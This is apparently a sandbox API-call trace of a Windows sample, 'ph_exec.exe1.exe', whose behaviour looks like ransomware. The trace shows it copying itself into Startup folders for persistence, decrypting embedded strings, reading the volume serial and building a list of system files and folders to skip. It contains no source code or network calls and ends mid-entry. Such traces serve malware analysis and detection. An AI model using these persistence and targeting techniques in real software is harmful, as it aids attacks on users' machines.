[0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.702] GetLastError () returned 0x0 [0036.702] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.703] SetLastError (dwErrCode=0x0) [0036.703] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.704] SetLastError (dwErrCode=0x0) [0036.704] GetLastError () returned 0x0 [0036.705] SetLastError (dwErrCode=0x0) [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] GetLastError () returned 0x0 [0036.705] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 1 [0036.731] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe"), bFailIfExists=1) returned 0 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961410 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29611f8 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f58 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2965170 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2965388 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e48 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964ed8 | out: hHeap=0x2960000) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961008 | out: hHeap=0x2960000) returned 1 [0036.732] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961008 [0036.732] CryptImportKey (in: hProv=0xd64968, pbData=0xcff5a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff60c | out: phKey=0xcff60c*=0xd727b8) returned 1 [0036.732] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0xcff5f4, dwFlags=0x0) returned 1 [0036.732] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961008, pdwDataLen=0xcff5c0 | out: pbData=0x2961008, pdwDataLen=0xcff5c0) returned 1 [0036.732] CryptDestroyKey (hKey=0xd727b8) returned 1 [0036.732] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2961030 [0036.732] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2961058 [0036.732] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961080 [0036.732] CryptImportKey (in: hProv=0xd64968, pbData=0xcff57c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5e4 | out: phKey=0xcff5e4*=0xd72638) returned 1 [0036.732] CryptSetKeyParam (hKey=0xd72638, dwParam=0x1, pbData=0xcff5cc, dwFlags=0x0) returned 1 [0036.732] CryptDecrypt (in: hKey=0xd72638, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961080, pdwDataLen=0xcff598 | out: pbData=0x2961080, pdwDataLen=0xcff598) returned 1 [0036.732] CryptDestroyKey (hKey=0xd72638) returned 1 [0036.732] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961080 | out: hHeap=0x2960000) returned 1 [0036.733] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2961030, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.733] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961058 | out: hHeap=0x2960000) returned 1 [0036.733] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961008 | out: hHeap=0x2960000) returned 1 [0036.733] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcff64c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcff64c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.733] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961030 | out: hHeap=0x2960000) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x28) returned 0x2961008 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961038 [0036.733] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff51c | out: phKey=0xcff51c*=0xd72878) returned 1 [0036.733] CryptSetKeyParam (hKey=0xd72878, dwParam=0x1, pbData=0xcff504, dwFlags=0x0) returned 1 [0036.733] CryptDecrypt (in: hKey=0xd72878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961038, pdwDataLen=0xcff4d0 | out: pbData=0x2961038, pdwDataLen=0xcff4d0) returned 1 [0036.733] CryptDestroyKey (hKey=0xd72878) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961050 [0036.733] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff514 | out: phKey=0xcff514*=0xd72738) returned 1 [0036.733] CryptSetKeyParam (hKey=0xd72738, dwParam=0x1, pbData=0xcff4fc, dwFlags=0x0) returned 1 [0036.733] CryptDecrypt (in: hKey=0xd72738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961050, pdwDataLen=0xcff4c8 | out: pbData=0x2961050, pdwDataLen=0xcff4c8) returned 1 [0036.733] CryptDestroyKey (hKey=0xd72738) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961068 [0036.733] CryptImportKey (in: hProv=0xd64968, pbData=0xcff4a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff50c | out: phKey=0xcff50c*=0xd725f8) returned 1 [0036.733] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0xcff4f4, dwFlags=0x0) returned 1 [0036.733] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961068, pdwDataLen=0xcff4c0 | out: pbData=0x2961068, pdwDataLen=0xcff4c0) returned 1 [0036.733] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961080 [0036.733] CryptImportKey (in: hProv=0xd64968, pbData=0xcff49c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff504 | out: phKey=0xcff504*=0xd72578) returned 1 [0036.733] CryptSetKeyParam (hKey=0xd72578, dwParam=0x1, pbData=0xcff4ec, dwFlags=0x0) returned 1 [0036.733] CryptDecrypt (in: hKey=0xd72578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961080, pdwDataLen=0xcff4b8 | out: pbData=0x2961080, pdwDataLen=0xcff4b8) returned 1 [0036.733] CryptDestroyKey (hKey=0xd72578) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961098 [0036.733] CryptImportKey (in: hProv=0xd64968, pbData=0xcff494, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4fc | out: phKey=0xcff4fc*=0xd723f8) returned 1 [0036.733] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff4e4, dwFlags=0x0) returned 1 [0036.733] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961098, pdwDataLen=0xcff4b0 | out: pbData=0x2961098, pdwDataLen=0xcff4b0) returned 1 [0036.733] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.733] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961130 [0036.734] CryptImportKey (in: hProv=0xd64968, pbData=0xcff48c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4f4 | out: phKey=0xcff4f4*=0xd72738) returned 1 [0036.734] CryptSetKeyParam (hKey=0xd72738, dwParam=0x1, pbData=0xcff4dc, dwFlags=0x0) returned 1 [0036.734] CryptDecrypt (in: hKey=0xd72738, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961130, pdwDataLen=0xcff4a8 | out: pbData=0x2961130, pdwDataLen=0xcff4a8) returned 1 [0036.734] CryptDestroyKey (hKey=0xd72738) returned 1 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x70) returned 0x2961148 [0036.734] CryptImportKey (in: hProv=0xd64968, pbData=0xcff484, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4ec | out: phKey=0xcff4ec*=0xd727b8) returned 1 [0036.734] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0xcff4d4, dwFlags=0x0) returned 1 [0036.734] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961148, pdwDataLen=0xcff4a0 | out: pbData=0x2961148, pdwDataLen=0xcff4a0) returned 1 [0036.734] CryptDestroyKey (hKey=0xd727b8) returned 1 [0036.734] htonl (hostlong=0xb4197730) returned 0x307719b4 [0036.734] CryptGenRandom (in: hProv=0xd64968, dwLen=0x20, pbBuffer=0xcff5e0 | out: pbBuffer=0xcff5e0) returned 1 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x28) returned 0x29611c0 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29611f0 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2961208 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x14) returned 0x2961218 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961238 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x2961250 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29612d8 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x29612f0 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961380 [0036.734] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2961398 [0036.734] CryptAcquireContextW (in: phProv=0x108fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x108fcf4*=0xd68090) returned 1 [0036.735] CryptGenRandom (in: hProv=0xd68090, dwLen=0x55, pbBuffer=0xcff54a | out: pbBuffer=0xcff54a) returned 1 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29613a8 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x29613c0 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961448 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x2) returned 0x2961460 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x2961470 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961480 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x80) returned 0x2961498 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2961520 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4) returned 0x29604a0 [0036.735] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961460, Size=0x82) returned 0x29604b0 [0036.735] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x29604a0, Size=0x100) returned 0x2967d78 [0036.735] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2960540 [0036.736] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x2967e80 [0036.736] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x29680a0 [0036.736] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x82) returned 0x2968518 [0036.736] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x29604b0, Size=0x104) returned 0x29685a8 [0036.736] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2967d78, Size=0x200) returned 0x29686b8 [0036.736] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2967e80, Size=0x104) returned 0x29688c0 [0036.736] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961250, Size=0x100) returned 0x2967d78 [0036.736] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961470 | out: hHeap=0x2960000) returned 1 [0036.736] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29686b8 | out: hHeap=0x2960000) returned 1 [0036.736] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961520 | out: hHeap=0x2960000) returned 1 [0036.736] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29613c0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29613a8 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961498 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961480 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29685a8 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961448 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29688c0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2960540 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2968518 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29680a0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961208 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29611f0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29612f0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29612d8 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967d78 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961238 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961398 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961380 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29611c0 | out: hHeap=0x2960000) returned 1 [0036.737] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961218 | out: hHeap=0x2960000) returned 1 [0036.737] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xa4) returned 0x29604a0 [0036.737] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x62) returned 0x2967d78 [0036.737] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2967d78, Size=0xc2) returned 0x2967d78 [0036.737] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968058 [0036.737] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xb40) returned 0x2968518 [0036.737] CryptImportKey (in: hProv=0xd64968, pbData=0xcff47c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4e4 | out: phKey=0xcff4e4*=0xd724f8) returned 1 [0036.737] CryptSetKeyParam (hKey=0xd724f8, dwParam=0x1, pbData=0xcff4cc, dwFlags=0x0) returned 1 [0036.737] CryptDecrypt (in: hKey=0xd724f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2968518, pdwDataLen=0xcff498 | out: pbData=0x2968518, pdwDataLen=0xcff498) returned 1 [0036.737] CryptDestroyKey (hKey=0xd724f8) returned 1 [0036.737] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10) returned 0x2968040 [0036.737] CryptImportKey (in: hProv=0xd64968, pbData=0xcff474, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4dc | out: phKey=0xcff4dc*=0xd724f8) returned 1 [0036.737] CryptSetKeyParam (hKey=0xd724f8, dwParam=0x1, pbData=0xcff4c4, dwFlags=0x0) returned 1 [0036.737] CryptDecrypt (in: hKey=0xd724f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2968040, pdwDataLen=0xcff490 | out: pbData=0x2968040, pdwDataLen=0xcff490) returned 1 [0036.738] CryptDestroyKey (hKey=0xd724f8) returned 1 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2967e48 [0036.738] CryptImportKey (in: hProv=0xd64968, pbData=0xcff44c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4b4 | out: phKey=0xcff4b4*=0xd723f8) returned 1 [0036.738] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff49c, dwFlags=0x0) returned 1 [0036.738] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967e48, pdwDataLen=0xcff468 | out: pbData=0x2967e48, pdwDataLen=0xcff468) returned 1 [0036.738] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x84) returned 0x29611c0 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x84) returned 0x2969e08 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961250 [0036.738] CryptImportKey (in: hProv=0xd64968, pbData=0xcff424, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff48c | out: phKey=0xcff48c*=0xd725f8) returned 1 [0036.738] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0xcff474, dwFlags=0x0) returned 1 [0036.738] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961250, pdwDataLen=0xcff440 | out: pbData=0x2961250, pdwDataLen=0xcff440) returned 1 [0036.738] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.738] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961250 | out: hHeap=0x2960000) returned 1 [0036.738] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x29611c0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0036.738] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2969e08 | out: hHeap=0x2960000) returned 1 [0036.738] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967e48 | out: hHeap=0x2960000) returned 1 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2960550 [0036.738] CryptImportKey (in: hProv=0xd64968, pbData=0xcff448, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff4b0 | out: phKey=0xcff4b0*=0xd724f8) returned 1 [0036.738] CryptSetKeyParam (hKey=0xd724f8, dwParam=0x1, pbData=0xcff498, dwFlags=0x0) returned 1 [0036.738] CryptDecrypt (in: hKey=0xd724f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2960550, pdwDataLen=0xcff464 | out: pbData=0x2960550, pdwDataLen=0xcff464) returned 1 [0036.738] CryptDestroyKey (hKey=0xd724f8) returned 1 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x18) returned 0x2960578 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x18) returned 0x2967e48 [0036.738] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2967e68 [0036.738] CryptImportKey (in: hProv=0xd64968, pbData=0xcff420, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff488 | out: phKey=0xcff488*=0xd72578) returned 1 [0036.738] CryptSetKeyParam (hKey=0xd72578, dwParam=0x1, pbData=0xcff470, dwFlags=0x0) returned 1 [0036.738] CryptDecrypt (in: hKey=0xd72578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2967e68, pdwDataLen=0xcff43c | out: pbData=0x2967e68, pdwDataLen=0xcff43c) returned 1 [0036.738] CryptDestroyKey (hKey=0xd72578) returned 1 [0036.738] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967e68 | out: hHeap=0x2960000) returned 1 [0036.738] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x2960578, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0036.738] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2967e48 | out: hHeap=0x2960000) returned 1 [0036.739] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2960550 | out: hHeap=0x2960000) returned 1 [0036.739] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x2961250 [0036.739] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x296a068 [0036.739] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x296a068, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.739] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296a068 | out: hHeap=0x2960000) returned 1 [0036.739] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xb38) returned 0x296a068 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.739] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError () returned 0x0 [0036.740] GetLastError 